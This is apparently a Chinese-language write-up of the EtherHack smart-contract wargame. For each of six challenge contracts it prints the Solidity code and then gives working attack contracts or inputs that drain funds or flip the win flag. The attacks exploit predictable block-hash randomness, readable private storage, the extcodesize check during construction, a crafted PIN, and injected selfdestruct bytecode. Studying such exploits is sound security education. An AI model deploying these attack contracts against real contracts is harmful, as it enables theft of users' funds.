简介 写一下这个靶场的wp—Etherhack
Azino 777 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} }
随机数问题,如果我们能得知rand(100) 的结果,也就能绕过num == bet的限制,让受害合约给我们转账。而rand(100) 的结果主要取决于block.number,而在一个区块内block.number是确定的,也就是我们在一个攻击合约的函数内同时调用rand函数和 spin函数,就能绕过随机数限制。
1 2 3 4 5 6 7 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Private Ryan 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.4.16; contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 blockNumber = block.number - seed; uint256 hashVal = uint256(block.blockhash(blockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} }
这道题也是随机数问题,合约部署时会仅调用一次PrivateRyan() 函数,将seed的值改变,此时我们可以使用区块链浏览器读取合约上的状态值,也可以使用 web3.eth.getStorageAt() 函数来读取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 contract Attack { PrivateRyan target; uint private seed; function Attack (address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = seed; target.spin.value(0.01 ether)(seed); } }
Wheel of Fortune 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
依旧是随机数问题,要求满足_bet == num,_bet 是传入的参数,sum 是上一个games用户注册时的block.number进行一些运算得到的。也就是说如果我们提前知道上一个用户注册时的block.number,就能推算出num。显然我们在同一区块进行两次注册,就能在第二次的使用block.number得到上一个用户的blockNumber。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 contract attack{ uint num; WheelOfFortune a = WheelOfFortune(claim contract address); function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function attacke() payable public{ num = rand(block.blockhash(block.number), 100); a.spin.value(0.01 ether)(num); a.spin.value(0.01 ether)(num); } function balance() public view returns (uint) {//检测余额变化,用于验证是否攻击成功 return address(this).balance; } function() payable public{} function attack() payable public{} }
Call Me Maybe 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
通过分析CallMeMaybe关键词,发现只能是要求调用地址的代码等于0。在分析HereIsMyNumber()函数,又要求tx.origin == msg.sender,这需要我们通过部署合约调用解决,但是extcodesize(_addr)=0又怎么解决呢。其实在合约创建初期的时候合约的extcodesize是等于零的。所以我可以可以写出下面的合约攻击
1 2 3 4 5 6 7 contract attack{ constructor(CallMeMaybe _target) public { _target.HereIsMyNumber(); } function() payable {} }
The Lock 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pragma solidity ^0.4.18; contract TheLock { bool public unlocked; function TheLock() public { unlocked = false; } function unlock(bytes4 pin) public payable returns(bool) { require(msg.value >= 0.5 ether); uint result; uint sum; for (uint8 i = 0; i < 4; i++) { uint c = uint(pin[i]); if (c >= 48 && c <= 57) { uint digit = c - 48; sum += digit ** 4; result = result * 10 + digit; } } if(sum == result) { unlocked = true; return true; } return false; } }
题目环境不太行,就在github上面找到源码
可以看到我们需要调用unlock函数置unlocked = true。
我们可以将pin分为四部分
1 ^ 4 + ^ 4 + ^ 4 + ^ 4 == *1000 + *100 + *10 +
很明显如果pin[]-48等于零自然就成立,也就是0x30303030
还有一种result与sum变量声明之后,如果不进行运算也是可以相等的,0x00000000等等
Pirate Ship 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } function pullAnchor() public { require(anchor != 0x0); require(anchor.call()); // raise the anchor if the ship is ready to sail away } function dropAnchor(uint blockNumber) public returns(address addr) { // the ship will be able to sail away in 100k blocks time require(blockNumber > block.number + 100000); // if(block.number < blockNumber) { throw; } // suicide(msg.sender); uint[8] memory a; a[0] = 0x6300; // PUSH4 0x00... a[1] = blockNumber; // ...block number (3 bytes) a[2] = 0x43; // NUMBER a[3] = 0x10; // LT a[4] = 0x58; // PC a[5] = 0x57; // JUMPI a[6] = 0x33; // CALLER a[7] = 0xff; // SELFDESTRUCT uint code = assemble(a); // init code to deploy contract: stores it in memory and returns appropriate offsets uint[8] memory b; b[0] = 0; // allign b[1] = 0x6a; // PUSH11 b[2] = code; // contract b[3] = 0x6000; // PUSH1 0 b[4] = 0x52; // MSTORE b[5] = 0x600b; // PUSH1 11 ;; length b[6] = 0x6015; // PUSH1 21 ;; offset b[7] = 0xf3; // RETURN uint initcode = assemble(b); uint sz = getSize(initcode); uint offset = 32 - sz; assembly { let solidity_free_mem_ptr := mload(0x40) mstore(solidity_free_mem_ptr, initcode) addr := create(0, add(solidity_free_mem_ptr, offset), sz) } require(addr != 0x0); anchor = addr; } ///////////////// HELPERS ///////////////// function assemble(uint[8] chunks) internal pure returns(uint code) { for(uint i=chunks.length; i>0; i--) { code ^= chunks[i-1] << 8 * getSize(code); } } function getSize(uint256 chunk) internal pure returns(uint) { bytes memory b = new bytes(32); assembly { mstore(add(b, 32), chunk) } for(uint32 i = 0; i< b.length; i++) { if(b[i] != 0) { return 32 - i; } } return 0; } }
要求我们 blackJackIsHauled = true 这就要求在
1 assembly { size := extcodesize (a) }
时,返回结果不为零,此时的a对应的就是anchor地址,而anchor地址由dropAnchor函数负责修改
此时会使用字节码部署一个合约,0x6300____4310585733ff600052600b6015f3
其中__ 处的字节码是我们可以控制的,注意到其中有一个指令是0xff,也就是SELFDESTRUCT,会执行自毁操作,我们验证一下会不会导致size为零
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 contract Contract { function main() { selfdestruct(address(0x0)); } } contract ttt{ bool public blackJackIsHauled = false; function sailAway(address anchor) public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert(); // it is too early to sail away } blackJackIsHauled = true; // Yo Ho Ho! } }
那也就是说我们要执行ff,也就是说我们需要在栈顶存入一个地址,由EVM opcode可以知道以下指令满足
30
31
33
41
同时实验各自与ff组合,比如33ff,反编译出来
而63指令是PUSH4 也就是说我们需要填充三个字节的指令,而后接上33ff,总字节码就是
0x630000000033ff4310585733ff600052600b6015f3
实现自毁,同时前面有一个限制 require(blockNumber > block.number + 100000);所以我们不能填充00,随便选一个其他的都可以。